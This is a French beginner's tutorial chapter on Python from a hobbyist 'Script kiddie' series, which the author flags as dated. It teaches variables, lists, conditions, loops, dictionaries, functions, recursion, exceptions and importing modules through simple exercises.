🌙
  • đŸ‡ș🇾 English
  • đŸ‡«đŸ‡· Français
  • đŸ‡Ș🇩 Español

NOTE Post Réécriture : Cet article, et bien d’autres, fait parti de la sĂ©rie “Script kiddie”. Il a Ă©tĂ© Ă©crit il y a plusieurs annĂ©es. Son contenu n’est pas Ă  jour et il contient potentiellement des erreurs. Plus d’information sur la page de prĂ©sentation de la sĂ©rie.

Dans ce chapitre, vous allez maütriser un de vos premiers langages de programmation : Python. Pourquoi celui-ci et pas un autre ? Eh bien tout simplement parce qu’il est :

Alors lançons-nous Ă  la dĂ©couverte de ce langage aux allures faciles mais dont la complexitĂ© pouvant jaillir de ses mĂ©canismes en surprendra plus d’un !

Avant toutes choses, il est primordial de possĂ©der Python dans sa derniĂšre version (Ă  l’heure oĂč j’écris, la 3.10). Il est possible que depuis la rĂ©daction de ce livre, bien des versions aient Ă©tĂ© créées. Pas d’inquiĂ©tude Ă  avoir Ă  ce propos, les grandes lignes resteront les mĂȘmes. Pour installer Python :

apt install python

À l’assaut de l’interprĂ©teur

Lançons l’interprĂ©teur Python :

$ python

Nous nous retrouvons en face d’une sorte de console oĂč le dollar est remplacĂ© par des chevrons :

>>>

Assez austĂšre Ă  premiĂšre vue, l’interprĂ©teur vous permettra d’essayer des bouts de code trĂšs rapidement sans avoir Ă  exĂ©cuter l’entiĂšretĂ© d’un script. Nous pouvons dĂšs maintenant rentrer nos premiĂšres lignes de code, les plus importantes, les opĂ©rations arithmĂ©tiques de base :

>>> 3+2
5
>>> 10 - 5
5
>>> 9 * 8
72
>>> 5 / 2
2.5

Il existe mĂȘme un opĂ©rateur qui va vous paraĂźtre un peu inutile au dĂ©but, voir mĂȘme, incomprĂ©hensible : le modulo. Il renvoie le reste d’une division euclidienne entre le dividende et le diviseur :

>>> 5 % 2
1
>>> 35 % 3
2

Faire des calculs est un plus, mais le mieux est encore de pouvoir stocker les valeurs quelque part afin de les rĂ©utiliser plus tard. C’est pourquoi l’informatique a accouchĂ© d’un concept fort utile issue des mathĂ©matiques, les variables.

Ce sont de petites cases de la mĂ©moire de votre ordinateur, que vous allez affubler d’un nom et oĂč vous allez y inscrire une valeur. En python, on distingue plusieurs types de valeurs qui peuvent ĂȘtre mises au sein d’une variable :

Pour dĂ©clarer une variable en python, on note son nom, puis on lui assigne une valeur Ă  l’aide du symbole Ă©gal :

>>> maVariable = 3

Par la suite, cette valeur est entrĂ©e en mĂ©moire durant toute l’exĂ©cution du programme. Les variables sont volatiles, c’est-Ă -dire que la mĂ©moire sera effacĂ©e Ă  la fin de l’exĂ©cution du programme. On dit alors que cette mĂ©moire est cache ou volatile, ce qui lui donne l’avantage d’ĂȘtre trĂšs rapide, mais assez limitĂ© en taille. Veillez donc Ă  trouver d’autres mĂ©thodes si vous vouliez sauvegarder dĂ©finitivement vos donnĂ©es issues du script.

On peut donc trÚs facilement avoir accÚs à la valeur mis en mémoire en tapant le nom de la variable :

>>> maVariable
3

De mĂȘme, les opĂ©rations arithmĂ©tiques sont tout Ă  fait possibles avec les variables, que ça soit pour l’assignation de valeur (faire en sorte qu’une variable a porte la valeur d’une variable b) ou juste pour l’obtention d’un rĂ©sultat :

>>> x = 2 + 3
>>> y = x * 4
>>> y
20

Ces lignes sont assez intĂ©ressantes pour l’esprit qui cherche Ă  se divertir, mais ce qui nous intĂ©resse, c’est l’écriture de script plus complexe, ceux oĂč nous pourront rentrer une myriade d’informations Ă  la fois. Alors sautons le pas :)

Notre premier programme

Pour Ă©crire nos programmes python, nous aurons besoin d’un Ă©diteur de texte. Si vous n’en avez pas, je vous conseille de retrouver la partie sur l’édition dans le chapitre sur Linux.

Dans un deuxiĂšme temps, il n’est pas obligatoire de mettre le spĂ©cificateur d’interprĂ©teur pour exĂ©cuter le fichier (il ne le faut que si le fichier est exĂ©cutĂ© comme vous exĂ©cuteriez un script bash). La commande pour lancer nos scripts sera donc :

python nomScript.py

Commençons donc Ă  Ă©crire notre premier programme, il s’agira de demander Ă  l’utilisateur son nom, puis de l’afficher, mais comment faire ?

Python dispose de nombreuses fonctions dites natives. Ce sont des bouts de codes écrits par les développeurs permettant de gagner un temps bien précieux et de ne pas réinventer la roue à chaque écriture de programme. Parmi ces fonctions, il y en a deux qui vont nous intéresser ici :

Nous nous pencherons plus tard sur la vĂ©ritable conception d’une fonction, retenez uniquement que ce sont des bouts de code que l’on appelle dans un but prĂ©cis. Par exemple, si je reprends l’interprĂ©teur python et que j’utilise la fonction print(), le rĂ©sultat sera bien prĂ©visible :

>>> print("Salut !")
Salut !

Ce que nous avons mis dans la fonction est directement affichĂ©. Avec cette explication supplĂ©mentaire, le programme que nous devons coder ne devrait pas trop poser de problĂšmes durant son Ă©criture. Essayez de le faire vous-mĂȘme, je vous mets la rĂ©ponse ci-dessous pour que vous puissiez vĂ©rifier :

#!/bin/python
reponse = input("Rentrez votre nom : ")
print("Votre nom est ", reponse)

Explications : La fonction input() va afficher le texte « Rentrez votre nom : » Ă  l’utilisateur. Ce dernier va donc rentrer son nom et la valeur sera stockĂ©e Ă  l’intĂ©rieur de la variable reponse. La variable doit, Ă  la fin, ĂȘtre affichĂ©e, c’est pour cela que l’on utilise la fonction print(), dans laquelle on rentre un texte sommaire pour prĂ©senter la valeur qui va ĂȘtre affichĂ©e, et notre variable reponse.

NOTE : Vous pouvez visualiser plus d’informations sur une fonction à l’aide de la fonction help(function). Pour quitter la notice, appuyez sur q.

Un deuxiÚme petit exercice pour la route, ça se tente ?

Je vous avais parlĂ© plus tĂŽt du type de variable nommĂ© liste, mais nous n’avons pas encore abordĂ© ce qu’il en Ă©tait vraiment. Une liste est un ensemble de valeur (d’autres variables si vous prĂ©fĂ©rez) accessible et modifiable Ă  n’importe quel moment. Les Ă©lĂ©ments qui la composent sont mis entre crochets :

>>> maListe = []

Ici, notre liste est vide. Pour y ajouter des valeurs, il suffit de les séparer par une virgule en les notant un à un :

>>> maListe = [1, 4, 10]

Bien sûr, les listes peuvent combiner plusieurs types à la fois :

>>> maListe2 = ["chaussette", 143.78, False]

Pour accĂ©der Ă  un Ă©lĂ©ment de la liste, il suffit ensuite de rentrer le nom de la liste, puis entre crochet, l’index de l’élĂ©ment dans la liste, c’est-Ă -dire le rang qu’il occupe oĂč l’endroit oĂč il se trouve dedans.

Les listes ont cette spĂ©cificitĂ© d’avoir un systĂšme d’indexation un peu particulier. L’élĂ©ment numĂ©ro 1 aura pour index 0, le 2 aura 1, le 3 aura 2, etc. C’est une rĂšgle commune Ă  tous les langages de programmation, les listes commencent par l’index 0, et qui provoque bon nombre d’erreurs.

Pour accéder aux valeurs de maListe, il faudra donc taper :

>>> maListe[0]
1
>>> maListe[1]
4
>>> maListe[2]
10

Idem pour maListe2 :

>>> maListe2[0]
'chaussette'
>>> maListe2[1]
143.78
>>> maListe2[2]
False

Ce qu’il y a de plus fou dans l’utilisation des listes, c’est la modification des Ă©lĂ©ments qui devient extrĂȘmement facile :

>>> maListe[0] = 123

Si on affiche le résultat, la valeur a bien été changée :

>>> print(maListe)
[123, 4, 10]

On reparlera un peu plus tard plus en dĂ©tail des listes, mais pour le moment, retenez que c’est un type de donnĂ©e Ă  part entiĂšre capable de supporter une multitude d’élĂ©ments en son sein.

Mais revenons Ă  notre exercice. Si je vous ai fait cette petite digression sur les listes, c’est que je vous sens prĂȘt Ă  affronter un code plus costaud. Vous allez programmer un systĂšme oĂč l’utilisateur peu choisir un article de magasin parmi 5 et la machine lui renvoie le montant qui lui sera facturĂ© pour cet article. Pour vous aider, mettez les prix des produits sous la forme d’une liste, et demander Ă  l’utilisateur le numĂ©ro du produit qu’il dĂ©sire, ce dernier correspondra alors Ă  l’index du prix dans la liste.

Fonction dont on se servira : int(), input(), print()

NOTE : La fonction int() permet de convertir une chaĂźne de caractĂšres en nombre.

Solution de l’exercice :

#!/bin/python
prix = [0.1, 0.3, 0.05, 0.4, 0.2]
print("Chosissez un article :")
print("[0] concombre")
print("[1] poire")
print("[2] fraise")
print("[3] orange")
print("[4] pomme")
rep = input("Entrez le numéro de votre choix : ")
rep = int(rep)
print("Vous devez payez : ", prix[rep], "€")

NOTE : Vous pouvez utiliser trois apostrophes de chaque cĂŽtĂ© d’une chaĂźne de caractĂšres si vous voulez imprimer plusieurs lignes (''' texte ''').

Les conditions et les boucles

Mais que serait la programmation sans ce qui lui donna ses lettres de noblesse, Ă  savoir la logique et l’automatisation. Nous allons les Ă©tudier dans ce chapitre-ci, ce qui permettra d’agrĂ©er vos petits programmes d’une certaine logique et d’une complexitĂ© inĂ©dite.

Nous avions vu, lorsque nous abordions les types de donnĂ©es (variables) qu’il en existait une sorte un peu spĂ©ciale nommĂ©e boolĂ©ens, mais que sont-ils vraiment ?

Je vous avais dit qu’il ne pouvait s’agir que de deux possibilitĂ©s, soit vrai, soit faux, mais Ă  quelle question ? Eh bien, Ă  une proposition logique que l’on va donner Ă  Python.

Les propositions logiques sont un peu du mĂȘme acabit de ce que l’on peut voir lorsque on aborde la logique en mathĂ©matique au lycĂ©e. On donne une proposition, et il faut dĂ©montrer si elle se trouve ĂȘtre vraie ou fausse, et ça, Python c’est trĂšs bien le faire tout seul. Ces rĂ©ponses Ă  nos propositions vont nous ĂȘtre utiles pour formuler des conditions, c’est-Ă -dire des morceaux de code que l’on exĂ©cute si et seulement si la proposition posĂ©e au prĂ©alable est vraie. Les propositions sont bien souvent des comparaisons, mais aussi la vĂ©rification de la prĂ©sence d’un Ă©lĂ©ment dans une liste ou encore l’utilisation d’opĂ©rateur logique redonnant un rĂ©sultat sous forme de boolĂ©en :

Comparaison

OpérateurExplication
a == ba est égal à b
a < bA est strictement inférieur à b
a > bA est strictement supérieur à b
a <= bA est inférieur ou égal à b
a >= bA est supérieur ou égal à b
c in texteC est présent dans la chaßne texte

Logique

OpérateurExplication
not aRenvoie True si a est faux, et inversement
a or bOu inclusif : Renvoie True si a OU b est vrai
a and bEt : Renvoie True si a ET b sont vrais

Binaire

OpérateurExplication
a | bOu binaire : renvoie 1 si a OU b est 1
a & bEt binaire : renvoie 1 si a ET b sont 1
a ^ bOu exclusif : Renvoie 1 si a OU b est 1, 0 si a ET b de mĂȘme valeur

Maintenant que l’on connaĂźt les diffĂ©rentes propositions possibles, on va pouvoir les importer dans notre code Python afin de rendre nos programmes plus performants. Comme dans tout langage de programmation, les blocs if 
 else 
 (si 
 sinon 
) sont utilisĂ©s afin de mettre en place nos conditions :

if condition:
    faire...

Et avec un bloc else, qui va nous permettre d’exĂ©cuter du code si la condition est invalide, cela donne :

if condition:
    faire...
else:
    faire...

WARN : Tabuler son code est extrĂȘmement important en Python. Il permet au langage de reconnaĂźtre les blocs et de les exĂ©cuter correctement.

NOTE : Les espaces peuvent également servir à tabuler, veillez juste à en mettre le bon nombre à chaque ligne.

Petit exemple d’utilisation, on veut comparer deux nombres rentrer par l’utilisateur puis lui renvoyer lequel est supĂ©rieur Ă  l’autre :

#!/bin/python
nb1 = int(input("Nombre 1 : "))
nb2 = int(input("Nombre 2 : "))
if nb1 < nb2:
    print("Nombre 2 est supérieur à Nombre 1")
else:
    print("Nombre 1 est supérieur à Nombre 2")

Les conditions ne sont vraiment pas compliquées à utiliser et constituent la base de la programmation logique.

Maintenant, une petite sĂ©rie d’exercice pour vĂ©rifier que la notion est bien comprise et qu’elle ne vous pose aucun problĂšme (j’en suis sĂ»r) :

Abordons maintenant les boucles. Ce ne sont ni plus ni moins que des conditions qui vont se rĂ©pĂ©ter jusqu’à ce qu’elles soient fausses. Une des premiĂšres boucles que nous allons voir est while.

While vient de l’anglais et veut dire « tant que », ce qui, mis dans un langage logique, veut dire « tant que ma condition est vraie, exĂ©cute ce bloc d’instructions ». Traduit en Python, cela donne :

while condition:
    fait...

WARN : Faites bien attention à ne pas créer de boucles infinies en insérant une condition qui ne soit jamais fausse. Votre ordinateur vous remerciera.

Par exemple, si nous voulions afficher le rĂ©sultat d’une variable qui est incrĂ©mentĂ©e Ă  chaque fois, le code serait :

#!/bin/python
compteur = 0
while compteur < 5:
    print("compteur = ", compteur)
    compteur += 1

NOTE : Pour faire une assignation par opĂ©ration (une incrĂ©mentation par exemple), utilisez le symbole arithmĂ©tique voulu, suivi d’un Ă©gal et du nombre choisi.

L’apparition des boucles a vu la crĂ©ation de deux nouveaux mot-clefs en plus : break et continue. Le premier sert Ă  arrĂȘter la boucle dĂ©finitivement, mĂȘme si la condition est encore valide ; le second sert Ă  sauter une itĂ©ration de la boucle et Ă  passer Ă  la suivante, sauf si la condition est alors invalide.

Nous pourrions alors réécrire exactement le mĂȘme algorithme mais sous une forme diffĂ©rente :

#!/bin/python
compteur = 0
while True:
    print("compteur = ", compteur)
    if compteur >= 5:
        break

Le rĂ©sultat est Ă©galement le mĂȘme, sauf que la condition de dĂ©part sera toujours valide (pourquoi serait-elle fausse ?).

Vous les sentez venir les nouveaux exercices :) Cette fois-ci, je vais ĂȘtre gentil, je ne vous en mets qu’un seul mais qui va vous demander un peu plus de rĂ©flexion. On vous donne le code suivant permettant Ă  l’utilisateur d’effectuer des calculs entre deux nombres :

#!/bin/python 
while True: 
    print('''=-= Machine Ă  Calculs =-= 
[1] Addition 
[2] Soustraction 
[3] Multiplication 
[4] Division 

[0] Quitter''') 
    choix = int(input("Faites votre choix : "))

ComplĂ©tez-le, de sorte qu’il soit pleinement fonctionnel. Vous pouvez demander Ă  l’utilisateur de rentrer ses nombres avec la fonction input(), n’oubliez juste pas de les transformer en nombre.

Abordons dĂšs Ă  prĂ©sent le deuxiĂšme type de boucle : for. Ce type de boucle permet de parcourir un objet, c’est-Ă -dire d’exĂ©cuter le bloc de code pour chaque Ă©lĂ©ment de l’objet. Par exemple, elle pourra parcourir chaque caractĂšre d’une phrase ou encore, chaque Ă©lĂ©ment d’une liste. De plus, Ă  chaque itĂ©ration, on met un compteur qui rĂ©cupĂšre la valeur de l’élĂ©ment Ă©tudier.

Petit exemple pour que vous puissiez comprendre :

#!/bin/python
for i in [1, 2, 3]:
    print(i)

Le résultat sera :

1
2
3

De mĂȘme avec une chaĂźne de caractĂšres :

#!/bin/python
for i in "Salut !":
    print(i)

OĂč le rĂ©sultat sera cette fois-ci :

S
a
l
u
t
 
!

Bien sĂ»r, dans nos exemples, j’ai utilisĂ© i en tant que variable prenant la valeur de chaque Ă©lĂ©ment, mais vous pouvez la remplacer par ce que vous voulez. On met i par convention d’écriture, c’est tout.

Pour vous entraĂźner vous pouvez essayer de rĂ©aliser un petit algorithme renvoyant l’ensemble des nombres premiers (divisibles uniquement par 1 et par eux-mĂȘmes, ex : 7) compris entre 1 et 100.

NOTE : Aidez-vous de la fonction native range(n) qui permet de parcourir les nombres entiers de 0 Ă  n. Faites attention car n est exclu de la liste.

Dans la mĂȘme veine, essayez de crĂ©er un algorithme qui renvoie le nombre d’occurrence de chaque caractĂšre dans une phrase peut ĂȘtre envisagĂ©. Pour ce faire, laissez-moi vous prĂ©senter un nouveau type de donnĂ©e un peu particulier : le dictionnaire.

Vous allez trĂšs certainement ĂȘtre surpris, car je vous ai menti, il n’y a pas que quatre types de donnĂ©es en python, mais beaucoup plus, nous n’avions pas le temps de tous les aborder en dĂ©but de chapitre.

Les dictionnaires sont un type de liste, Ă  l’exception que pour accĂ©der Ă  une valeur, on ne se servira pas d’un index mais d’une clef, c’est-Ă -dire une deuxiĂšme valeur. Il aura donc cette structure particuliĂšre :

dictionnaire = {"clef" : "valeur"}

Cela permet ainsi de clarifier plusieurs informations sur une variable. Admettons que vous ayez une voiture à décrire, eh bien le dictionnaire est votre plus grand ami :

voiture = {
    "marque" : "peugeot",
    "nom" : "406",
    "chevaux" : 2,
    "places" : 2,
    "km" : 14567
}

WARN : N’oubliez pas de sĂ©parer les diffĂ©rents attributs du dictionnaire par une virgule, comme dans l’exemple ci-dessus.

La modification devient beaucoup plus claire grùce au dictionnaire :

voiture["km"] += 1

L’utilisation du dictionnaire va vous simplifier la vie pour l’exercice que je vous ai proposĂ©, vous allez pouvoir rentrer chaque caractĂšre apparaissant pour la premiĂšre fois comme une clef, et le nombre de fois oĂč il revient comme une valeur de cette clef. Je ne vous ai juste pas dit comment l’on parcourt un dictionnaire. Il existe trois mĂ©thodes, celle pour parcourir les clefs :

for i in dictionnaire.keys() :
    # fait...

Celle pour, à l’inverse, parcourir les valeurs :

for i in dictionnaire.values() :
    # fait...

Et la derniÚre, pour parcourir tout le dictionnaire, indépendamment des clefs ou des valeurs :

for i in dictionnaire.items() :
    # fait...

Dans ce dernier cas, i va prendre la valeur d’un tuple, c’est-Ă -dire une liste non-modifiable (encore un autre type de donnĂ©e dont j’ai oubliĂ© de vous parler) qui aura pour index 0, la clef, et pour index 1, la valeur.

Vous devez maintenant ĂȘtre suffisamment armĂ© pour rĂ©ussir Ă  faire cet exercice.

NOTE : Essayez de commenter votre code pour ne pas vous perdre, aujourd’hui ou dans un mois. Ajouter le symbole # devant une ligne et elle sera ignorĂ©e lors de l’exĂ©cution du programme.

Fonctions et récursivité

Maintenant que nous avons abordĂ© les boucles et les conditions, nous allons pouvoir parler d’un autre Ă©lĂ©ment trĂšs important de la programmation : les fonctions. Elles vont vous permettre de rĂ©pĂ©ter des morceaux de codes en dehors d’une boucle et Ă  n’importe quel moment. De mĂȘme, la rĂ©daction et la lecture de votre programme sera beaucoup plus simple.

Pour dĂ©clarer une fonction (notez le vocabulaire spĂ©cifique), il suffit d’utiliser le mot-clef def et de taper ensuite le nom de la fonction. Des paramĂštres peuvent ĂȘtre passĂ©s Ă  la fonction, c’est-Ă -dire des variables qui seront utilisĂ©es au sein de la fonction et seulement dans cet endroit.

La syntaxe ressemblera donc à ça :

def maFonction(param1, param2, etc):
    # fait...

Si vous n’arrivez pas trop Ă  vous reprĂ©senter le fonctionnement d’une fonction, eh bien repensez Ă  vos cours de mathĂ©matiques (je sais, cet argument n’est pas trĂšs vendeur :/). On donne un antĂ©cĂ©dent Ă  une fonction, elle opĂšre un certain nombre de calculs, et elle renvoie une image. En python, c’est Ă  peu prĂšs la mĂȘme chose, Ă  l’exception prĂšs qu’il n’y a pas d’obligation quant au renvoi de valeur.

Par exemple, soit la fonction, sa représentation en Python serait :

#!/bin/python
def f(x):
    return 3 * x + 2

Le mot-clef return est utilisĂ© pour renvoyer une valeur en dehors de la fonction que l’on va pouvoir rĂ©utiliser, par exemple pour afficher le rĂ©sultat Ă  l’utilisateur :

print("L'images de la fonction f pour x = 2.5 est ", f(2.5))
L’image de la fonction f pour x = 2.5 est 9.5

L’utilitĂ© d’une telle fonction laisse Ă  dĂ©sirer, mais imaginez-vous en train de programmer un trĂšs gros programmes permettant de retrouver l’ensemble des rĂ©pertoires d’un site en vu de tous les visiter pour trouver une faille Ă  exploiter. Eh bien nous pourrions trĂšs bien imaginer une premiĂšre fonction effectuant la recherche des dossiers, et une deuxiĂšme fonction dessinant une interface graphique pour rendre le logiciel plus pratique Ă  l’utilisation.

DĂ©couper son code en plusieurs fonctions reprĂ©sentent un gain de temps lorsqu’il faut exĂ©cuter plusieurs fois la mĂȘme action nĂ©cessitant un grand nombre de ligne. Prenez garde cependant Ă  ne pas en abuser pour laisser votre code clair


Ce qui est pratique avec les fonctions, c’est le jeu de paramĂštre que l’on peut mettre en place. On peut parfaitement voir un paramĂštre s’auto-dĂ©clarer dans la dĂ©finition de la fonction :

#!/bin/python
def suite(n, u=0):
    for i in range(n):
        u = u + 3
    return u

Ici, mĂȘme si l’utilisateur n’a pas donnĂ© de valeur Ă  u, le programme en a tout de mĂȘme une par dĂ©faut, ce qui va Ă©viter de ressortir une erreur. Dans le cas prĂ©sent, l’utilisation d’une telle mĂ©thode est inutile, mais on pourrait trĂšs bien imaginer une fonction qui dessinerait une fenĂȘtre pour un programme et qui demanderait Ă  l’utilisateur la taille qu’il souhaite en longueur et en largeur. Avoir une taille par dĂ©faut dans le cas oĂč elle n’est pas prĂ©cisĂ©e est une idĂ©e excellente, car elle permet de continuer l’exĂ©cution sans tout bloquer pour une information mineure manquante.

De mĂȘme que l’on peut jouer avec les paramĂštres, il est tout Ă  fait possible de jouer avec la structure mĂȘme des fonctions. Vous n’y avez sĂ»rement pas pensĂ©, mais que se passerait-il si on appelait une fonction en son sein en lui donnant diffĂ©rents paramĂštres :

#!/bin/python
def f(n=5):
    print(n)
    if n > 0:
        f(n-1)

Le rĂ©sultat va ĂȘtre le mĂȘme que si l’on avait fait une boucle for, mais Ă  l’envers. Nous venons de crĂ©er ce qu’on appelle une fonction rĂ©cursive. Elles peuvent servir de boucle, bonne alternative aux autres mĂ©thodes dites itĂ©ratives.

NOTE : Bien que les fonctions rĂ©cursives soient fortes utiles, les boucles itĂ©ratives resteront majoritaires dans vos codes. L’utilisation de l’une des deux se fait dans des cas prĂ©cis que vous arriverez Ă  dĂ©tecter avec le temps.

WARN : Veillez bien Ă  arrĂȘter l’ouverture de nouvelles fonctions, vous vous retrouveriez dans le mĂȘme cas qu’une boucle infinie sinon.

Il y a quelques notions associĂ©es Ă  ces fonctions rĂ©cursives. La premiĂšre, il existe une pile d’exĂ©cution sur laquelle les diffĂ©rentes ouvertures de fonction vont s’empiler. Comme toute pile, elle atteint une hauteur maximale, ce qui vous sera signalĂ© par Python avec RecursionError: maximum recursion depth exceeded.

A l’inverse du code Python standard qui peut ĂȘtre vu comme une file oĂč chaque instruction sort au fur et Ă  mesure, la pile d’exĂ©cution des fonctions fonctionnent tant que l’on peut empiler. Elle dĂ©pile successivement les fonctions de la derniĂšre ouverte jusqu’à la premiĂšre.

NOTE : On parle de méthode LIFO pour une pile : Last in First out. Quant aux files, on parle de FIFO : First in First out.

Les fonctions rĂ©cursives amĂšnent donc de nouvelles maniĂšres de travailler en proposant deux maniĂšres de voir le code en fonction de l’utilisation de boucles itĂ©ratives ou rĂ©cursives. La premiĂšre est appelĂ©e Bottom-Up, on part d’une valeur n Ă©gal Ă  0 et on s’arrĂȘte Ă  un certain rang, c’est ce que vous faites lorsque vous utilisez la boucle for. La deuxiĂšme, nommĂ©e Top-Down, on part d’une valeur n donnĂ© supĂ©rieur Ă  0, et on diminue de un en un jusqu’à n = 0.

Ces deux mĂ©thodes vont permettre de modifier la complexitĂ© de votre code, c’est-Ă -dire d’optimiser certains passages pour les rendre plus rapide Ă  l’exĂ©cution.

Depuis un moment, je vous parle d’erreurs, mais nous n’avons toujours pas abordĂ© le sujet en profondeur. Alors laissez-moi vous prĂ©senter le monde fascinant des erreurs en Python avant une petite sĂ©ance d’exercices.

Lorsque vous Ă©crivez un programme et qu’une action non autorisĂ©e est exĂ©cutĂ©e, Python va lever une exception, c’est-Ă -dire une erreur Ă  nos yeux. Bien que la plupart du temps, ces derniĂšres nous embĂȘtent et nous agacent au plus haut point, mais elles peuvent s’avĂ©rer utiles quand on les maĂźtrise. Au lieu de laisser un message barbare s’afficher au visage de vos utilisateurs, on peut rĂ©cupĂ©rer cette expression et la transformer pour l’afficher mais de maniĂšre plus soutenue sans freiner l’exĂ©cution.

Pour ce faire, on utilise le bloc try 
 except 
 :

#!/bin/python
try:
    # faire...
except TypeErreur:
    # faire...

Par exemple, on crĂ©e la fonction inverse en Python, et on propose Ă  l’utilisateur de rentrer lui-mĂȘme le dĂ©nominateur :

#!/bin/python
def inverse(x):
    return 1 / x

print("L'inverse de votre nombre est : ", inverse(int(input("Rentrez x : "))))

Que se passerait-il si l’utilisateur rentrait le chiffre 0 ? Le programme va lever une exception, car on ne peut diviser par 0 en mathĂ©matique :

Rentrez x : 0 
Traceback (most recent call last): 
 File "/home/jacky/f.py", line 5, in <module> 
   print("L'inverse de votre nombre est : ", inverse(int(input("Rentrez x : ")))) 
 File "/home/jacky/f.py", line 3, in inverse
   return 1 / x 
ZeroDivisionError: division by zero

Ici, c’est l’erreur ZeroDivisionError, il existe un paquet d’autres types d’erreurs. Je ne vous les mets pas la liste complĂšte des erreurs, vous aurez bien le temps de toutes le dĂ©couvrir. La solution est alors d’utiliser try pour lever une exception et invalider la demande de l’utilisateur :

#!/bin/python
def inverse(x):
    try:
        return 1 / x
    except  ZeroDivisionError:
        print("Division par 0 interdite")
        return 0

print("L'inverse de votre nombre est : ", inverse(int(input("Rentrez x : "))))
Rentrez x : 0
Division par 0 interdite
L'inverse de votre nombre est :  0

Notre erreur est rĂ©solue et ne ruine pas l’expĂ©rience d’utilisation.

NOTE : SpĂ©cifier une erreur n’est pas obligatoire. except seul peut lever une exception. Cependant, spĂ©cifier la nature de l’exception permet de rajouter de la clartĂ© Ă  votre code.

De la mĂȘme maniĂšre, Python ne possĂšde pas des exceptions pour tous les cas de figures, il va donc falloir crĂ©er vos propres erreurs afin d’engager des actions plus propres Ă  vos exigences. Mais nous ne pourrons pas voir ça pour l’instant, vous n’avez pas les compĂ©tences nĂ©cessaires pour qu’on puisse en parler.

Le mot-clef qui sera utilisĂ© pour cette action peut tout de mĂȘme ĂȘtre utile pour afficher de plus amples informations Ă  l’utilisateur en cas d’exception sans utiliser d’instruction print(), il s’agit de raise :

raise typeErreur(msg)

Par exemple, dans un programme qui demande à l’utilisateur de rentrer un nombre avec la fonction input() :

#!/bin/python
nb = input("Rentrez un nombre : ")
try:
    int(nb)
except:
    raise ValueError("Vous n'avez pas rentré un nombre")

NOTE : Le mot-clef raise interrompt l’exĂ©cution comme une erreur classique.

Petite sĂ©ance d’exercices maintenant, il vous faut :

Comme d’habitude, je ne vous mets pas de correction, vous arriverez trĂšs bien Ă  force de persĂ©vĂ©rance, Ă  vous rendre compte si votre code fonctionne ou non. C’est d’ailleurs lĂ  l’objectif de ces exercices, vous faire chercher, jusqu’à ce que vous compreniez ce que vous faites.

NOTE : Pour ceux fùchés avec les maths : un nombre entier a est divisible par un autre nombre entier b, si et seulement si le reste de la division euclidienne de a par b donne 0. Autrement dit, a % b = 0.

NOTE : Gardez bien dans un fichier les fonctions sur les diviseurs et le PGCD, nous en auront besoin plus tard


Modularité

À force de me lire, vous devez commencer Ă  comprendre certaines logiques inhĂ©rentes Ă  la programmation et l’algorithmie, et notamment une loi impitoyable qui s’appelle la paresse. Comme chaque ĂȘtre humain, les dĂ©veloppeurs sont partisans du moindre effort, ou du moins, quand ils le peuvent. Afin d’éviter de rĂ©inventer la roue Ă  chaque programme, ils ont mis en place les modules (ou librairies), bribes de codes Ă  partager Ă  tous simplifiant certaines utilisations de Python.

Il existe des modules pour tout et surtout pour rien. Pour générer des nombres aléatoires, utiliser les commandes du systÚme, faire tourner plusieurs processus en arriÚre plan ou encore pour utiliser certains algorithmes comme le base64.

Afin de simplifier leurs utilisations et leur partage, un site répertoriant tous les modules existe : https://pypi.org/.

Pour installer un de ces paquets, la commande utilisĂ©e sera pip, quel que soit le systĂšme d’exploitation que vous utilisez :

pip install [paquet]

Rappelez-vous la commande issue de la partie sur Linux pour installer des paquets depuis un fichier de dépendances :

pip install -r requirements.txt

NOTE : Pip est prĂ©installĂ© sur les versions 3.10 et supĂ©rieurs de Python. Si ce n’est pas le cas pour vous, suivez les instructions de la doc pour l’installer manuellement.

Mais revenons à nos modules. Beaucoup des plus utiles sont déjà installés avec Python, et nous allons en découvrir quelques-uns. Le premier est le module random, permettant de générer des nombres aléatoires.

Afin d’importer un module en Python, on utilise l’instruction import suivie du nom du module :

#!/bin/python
import random

Maintenant que notre module est importĂ©, nous pouvons commencer Ă  utiliser ses fonctions. Cependant, il va falloir faire un premier pas dans le chapitre d’aprĂšs pour comprendre comment toutes ces fonctions sont ajoutĂ©es Ă  Python.

Python est un langage orientĂ© objet, c’est-Ă -dire que le dĂ©veloppement de logiciel se fait selon la logique que n’importe quel Ă©lĂ©ment possĂšde ce que l’on appelle des mĂ©thodes. Ces mĂ©thodes sont-elles mĂȘmes des objets invoquant de nouvelles mĂ©thodes, qui sont elles-mĂȘmes des objets invoquant de
 Bref, c’est une rĂ©gression Ă  l’infini, tout ça pour dire que les objets et leurs mĂ©thodes sont omniprĂ©sents dans Python.

Je vous ai parlĂ© d’objets tout au long de ce livre sans jamais vraiment les dĂ©finir. Les objets sont toutes les donnĂ©es que vous avez ou allez manipuler, il en existe plusieurs types : les nombres, les caractĂšres, les listes, les tuples, les fonctions, les modules, les dictionnaires, etc.

On peut retrouver facilement les mĂ©thodes d’un objet Ă  l’aide de la fonction native dir() :

>>> dir(0)
['__abs__', '__add__', '__and__', ... , 'to_bytes']

Et oui, si vous le vouliez, vous pourriez consulter les méthodes de la fonction dir :

>>> dir(dir)
['__call__', '__class__', '__delattr__', ... ,'__text_signature__']

Afin d’appeler les mĂ©thodes d’un objet, on met le nom de l’objet, suivi du nom de la mĂ©thode que l’on dĂ©sire :

>>> x = 0
>>> x.real
0

La mĂ©thode real du type int permet d’avoir la partie rĂ©elle de n’importe quel nombre (mĂ©thode inutile mais bien pratique pour cet exemple).

NOTE : Certains objets, comme les nombres, ne peuvent pas ĂȘtre appelĂ©s lorsqu’ils ne sont pas dĂ©clarĂ©s sous la forme de variable.

Comme tout objet, les modules possĂšdent donc des mĂ©thodes, sauf qu’ici, elles sont directement Ă©crites par le dĂ©veloppeur. Certains font trĂšs bien leur boulot et ajoute une documentation, en cas de problĂšme cela peut simplifier la vie des dĂ©veloppeurs en leur permettant de lire le manuel de chaque fonction proposĂ©e par le module.

Ainsi, on peut tout Ă  fait visualiser les commandes mises Ă  disposition Ă  l’intĂ©rieur de random :

>>> import random
>>> help(random)

Toutes ces choses sont trĂšs bien, mais vous sentez bien qu’à la longue, toujours devoir taper random pour faire utiliser une de ces fonctions devient rĂ©barbatif. Les dĂ©veloppeurs ont donc inventĂ© un nouveau mot-clef, as, qui va instancier un nouveau nom pour le module pour votre programme.

Ainsi, taper ces lignes comme vous en aurez trùs vite l’habitude :

#!/bin/python
import random
print(random.randint(0, 10)) # Nombre aléatoire entre 1 et 10

